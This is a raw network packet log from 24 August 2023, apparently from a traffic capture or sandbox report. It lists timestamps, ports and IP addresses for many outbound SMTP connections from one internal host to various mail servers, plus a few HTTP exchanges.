Aug 24, 2023 19:03:52.417407990 CEST	50335	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:52.422080994 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.422280073 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.424124956 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.436227083 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.437493086 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.437618971 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.437661886 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:52.437694073 CEST	50337	25	192.168.2.8	98.136.96.74
Aug 24, 2023 19:03:52.438913107 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.441317081 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.441457987 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.459836006 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.460031033 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.465118885 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:52.468715906 CEST	25	50327	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.483062029 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.483407021 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.486222982 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.486401081 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:52.487694979 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.487838030 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.496253014 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:52.498621941 CEST	25	50349	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.498758078 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.500235081 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:52.500343084 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:52.507895947 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.507983923 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.516016960 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.533744097 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.534140110 CEST	25	50347	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.537606001 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:52.539037943 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.539249897 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.539474964 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.539635897 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:52.539812088 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.543215036 CEST	25	50328	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.543275118 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.543330908 CEST	50328	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.543570995 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.559880018 CEST	25	50333	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.559906006 CEST	25	50333	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.560065031 CEST	50333	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:52.560142994 CEST	50333	25	192.168.2.8	65.20.63.100
Aug 24, 2023 19:03:52.572397947 CEST	25	50337	98.136.96.74	192.168.2.8
Aug 24, 2023 19:03:52.583540916 CEST	25	50335	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:52.584851027 CEST	50347	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.589425087 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.600677967 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:52.600873947 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:52.616555929 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.617978096 CEST	25	50338	52.101.11.3	192.168.2.8
Aug 24, 2023 19:03:52.618091106 CEST	50338	25	192.168.2.8	52.101.11.3
Aug 24, 2023 19:03:52.624742031 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:52.624946117 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:52.646956921 CEST	25	50279	67.231.151.137	192.168.2.8
Aug 24, 2023 19:03:52.647113085 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.649527073 CEST	25	50346	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:52.649559021 CEST	25	50346	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:52.649805069 CEST	50346	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:52.650572062 CEST	50346	25	192.168.2.8	34.212.80.54
Aug 24, 2023 19:03:52.658235073 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:52.658493996 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.660269022 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.660314083 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.660522938 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.662712097 CEST	25	50317	211.248.98.39	192.168.2.8
Aug 24, 2023 19:03:52.663017988 CEST	50317	25	192.168.2.8	211.248.98.39
Aug 24, 2023 19:03:52.666357994 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.666512012 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.671698093 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:52.671835899 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:52.674388885 CEST	25	50333	65.20.63.100	192.168.2.8
Aug 24, 2023 19:03:52.693988085 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.694638014 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.703303099 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.703386068 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.722186089 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:52.722565889 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.734446049 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.734564066 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.738596916 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:52.738733053 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:52.749892950 CEST	25	50356	85.115.52.190	192.168.2.8
Aug 24, 2023 19:03:52.750153065 CEST	50356	25	192.168.2.8	85.115.52.190
Aug 24, 2023 19:03:52.757143974 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:52.757299900 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:52.769433022 CEST	25	50279	67.231.151.137	192.168.2.8
Aug 24, 2023 19:03:52.769507885 CEST	25	50279	67.231.151.137	192.168.2.8
Aug 24, 2023 19:03:52.769700050 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.769747019 CEST	50279	25	192.168.2.8	67.231.151.137
Aug 24, 2023 19:03:52.774758101 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:52.775158882 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.818309069 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.818677902 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.819149017 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.819479942 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.829370975 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.829638958 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.832577944 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.832762957 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.836435080 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:52.843295097 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:52.843499899 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:52.843647957 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.845508099 CEST	25	50346	34.212.80.54	192.168.2.8
Aug 24, 2023 19:03:52.847249985 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:52.847322941 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:52.854048967 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:52.856554985 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:52.865314960 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:52.866272926 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:52.866394043 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:52.870038033 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:52.875034094 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:52.875175953 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:52.885497093 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:52.885534048 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:52.885725021 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:52.891536951 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:52.891976118 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.892028093 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:52.894282103 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.894505024 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.897924900 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:52.898109913 CEST	80	50309	185.215.113.66	192.168.2.8
Aug 24, 2023 19:03:52.898253918 CEST	50309	80	192.168.2.8	185.215.113.66
Aug 24, 2023 19:03:52.913193941 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913295031 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913295031 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913325071 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913325071 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913350105 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913403988 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913435936 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913460970 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913520098 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.913549900 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:52.932410002 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.932907104 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:52.933252096 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:52.933604956 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:52.935699940 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:52.938246965 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:52.938571930 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:52.946094990 CEST	25	50345	209.222.82.252	192.168.2.8
Aug 24, 2023 19:03:52.947468996 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:52.947721004 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:52.963633060 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:52.963979006 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:52.966599941 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:52.966801882 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:52.975156069 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:52.975483894 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:52.976176023 CEST	25	50361	184.106.54.2	192.168.2.8
Aug 24, 2023 19:03:52.976337910 CEST	50361	25	192.168.2.8	184.106.54.2
Aug 24, 2023 19:03:52.976706028 CEST	25	50349	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:52.976877928 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:52.980937004 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:52.981096983 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:52.981350899 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:52.981477022 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:52.991132975 CEST	50345	25	192.168.2.8	209.222.82.252
Aug 24, 2023 19:03:52.998465061 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.000849962 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.001051903 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.001529932 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:53.004993916 CEST	25	50341	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.005095959 CEST	50341	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.007759094 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.007936954 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.008610964 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.008832932 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.011429071 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.011524916 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:53.011745930 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:53.012113094 CEST	25	50350	194.104.110.22	192.168.2.8
Aug 24, 2023 19:03:53.012223005 CEST	50350	25	192.168.2.8	194.104.110.22
Aug 24, 2023 19:03:53.013864040 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.013932943 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.014055014 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.015300035 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:53.015431881 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:53.022051096 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.023046970 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.025115967 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.032712936 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.032746077 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.032761097 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.032778025 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.032793045 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.035142899 CEST	25	50348	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.035345078 CEST	50348	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.039808989 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.045464039 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.046345949 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.046529055 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.047164917 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.047269106 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.052517891 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.052756071 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:53.054447889 CEST	25	50343	138.197.213.185	192.168.2.8
Aug 24, 2023 19:03:53.058540106 CEST	25	50343	138.197.213.185	192.168.2.8
Aug 24, 2023 19:03:53.058674097 CEST	50343	25	192.168.2.8	138.197.213.185
Aug 24, 2023 19:03:53.065886021 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.066999912 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.069904089 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.072365999 CEST	50343	25	192.168.2.8	138.197.213.185
Aug 24, 2023 19:03:53.072770119 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.076947927 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.089139938 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.093936920 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.094096899 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:53.104173899 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.104346037 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.106560946 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.106707096 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:53.108707905 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.112185001 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.113507986 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.113737106 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.114821911 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.114943027 CEST	50365	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.114945889 CEST	25	50366	67.195.204.82	192.168.2.8
Aug 24, 2023 19:03:53.115041018 CEST	50366	25	192.168.2.8	67.195.204.82
Aug 24, 2023 19:03:53.116389036 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.116527081 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.118796110 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.118915081 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.124335051 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.124398947 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.125428915 CEST	25	50351	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.125539064 CEST	50351	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.125574112 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.125752926 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.142298937 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.142440081 CEST	25	50353	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.142554998 CEST	50353	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.148452997 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:53.148696899 CEST	50352	25	192.168.2.8	104.47.59.138
Aug 24, 2023 19:03:53.149646997 CEST	25	50349	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.149671078 CEST	25	50349	144.160.159.22	192.168.2.8
Aug 24, 2023 19:03:53.149818897 CEST	50349	25	192.168.2.8	144.160.159.22
Aug 24, 2023 19:03:53.151277065 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.152736902 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.152872086 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:53.153171062 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.154377937 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.154597044 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.155493975 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.155565977 CEST	50357	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.156105042 CEST	25	50365	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.161422968 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.161597013 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.169951916 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.170228004 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:53.170264006 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:53.171049118 CEST	25	50354	74.125.200.26	192.168.2.8
Aug 24, 2023 19:03:53.171144009 CEST	50354	25	192.168.2.8	74.125.200.26
Aug 24, 2023 19:03:53.186041117 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:53.187139988 CEST	25	50344	104.47.55.110	192.168.2.8
Aug 24, 2023 19:03:53.187271118 CEST	50344	25	192.168.2.8	104.47.55.110
Aug 24, 2023 19:03:53.190332890 CEST	25	50339	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.190695047 CEST	50339	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.192018986 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.192141056 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:53.199580908 CEST	50372	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.200903893 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.201639891 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.201893091 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.202012062 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.203315973 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.203854084 CEST	25	50358	142.250.150.27	192.168.2.8
Aug 24, 2023 19:03:53.205411911 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.205686092 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.205818892 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:53.210000992 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210000992 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210000992 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210000992 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210001945 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210001945 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210001945 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210001945 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210213900 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210213900 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.210213900 CEST	50262	25	192.168.2.8	142.250.157.26
Aug 24, 2023 19:03:53.229059935 CEST	50373	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.230822086 CEST	25	50367	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.231033087 CEST	50367	25	192.168.2.8	104.47.58.161
Aug 24, 2023 19:03:53.233954906 CEST	25	50360	104.47.75.228	192.168.2.8
Aug 24, 2023 19:03:53.234085083 CEST	50360	25	192.168.2.8	104.47.75.228
Aug 24, 2023 19:03:53.238312960 CEST	25	50325	74.125.200.27	192.168.2.8
Aug 24, 2023 19:03:53.238461018 CEST	50325	25	192.168.2.8	74.125.200.27
Aug 24, 2023 19:03:53.239635944 CEST	25	50343	138.197.213.185	192.168.2.8
Aug 24, 2023 19:03:53.241405964 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.243056059 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.243170977 CEST	25	50370	69.49.101.235	192.168.2.8
Aug 24, 2023 19:03:53.243205070 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.243268013 CEST	50370	25	192.168.2.8	69.49.101.235
Aug 24, 2023 19:03:53.243555069 CEST	25	50363	104.47.75.164	192.168.2.8
Aug 24, 2023 19:03:53.243678093 CEST	50363	25	192.168.2.8	104.47.75.164
Aug 24, 2023 19:03:53.244421959 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.244530916 CEST	50368	25	192.168.2.8	104.47.13.33
Aug 24, 2023 19:03:53.256663084 CEST	50358	25	192.168.2.8	142.250.150.27
Aug 24, 2023 19:03:53.260046005 CEST	25	50369	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.260248899 CEST	50369	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.261436939 CEST	25	50357	104.47.58.161	192.168.2.8
Aug 24, 2023 19:03:53.276401997 CEST	25	50371	144.160.235.144	192.168.2.8
Aug 24, 2023 19:03:53.276571035 CEST	50371	25	192.168.2.8	144.160.235.144
Aug 24, 2023 19:03:53.279221058 CEST	25	50364	104.47.73.161	192.168.2.8
Aug 24, 2023 19:03:53.279517889 CEST	50364	25	192.168.2.8	104.47.73.161
Aug 24, 2023 19:03:53.282588959 CEST	25	50368	104.47.13.33	192.168.2.8
Aug 24, 2023 19:03:53.284141064 CEST	25	50352	104.47.59.138	192.168.2.8
Aug 24, 2023 19:03:53.285577059 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.285860062 CEST	25	50298	24.137.218.25	192.168.2.8
Aug 24, 2023 19:03:53.285959005 CEST	50298	25	192.168.2.8	24.137.218.25
Aug 24, 2023 19:03:53.304521084 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.304568052 CEST	25	50359	209.250.128.50	192.168.2.8
Aug 24, 2023 19:03:53.304686069 CEST	50359	25	192.168.2.8	209.250.128.50
Aug 24, 2023 19:03:53.305758953 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.305784941 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.305800915 CEST	25	50355	17.57.156.30	192.168.2.8
Aug 24, 2023 19:03:53.305845976 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.305875063 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.305972099 CEST	50355	25	192.168.2.8	17.57.156.30
Aug 24, 2023 19:03:53.319128036 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.319283009 CEST	25	50362	67.195.204.75	192.168.2.8
Aug 24, 2023 19:03:53.319338083 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:53.319403887 CEST	50362	25	192.168.2.8	67.195.204.75
Aug 24, 2023 19:03:53.322715044 CEST	25	50349	144.160.159.22	192.168.2.8
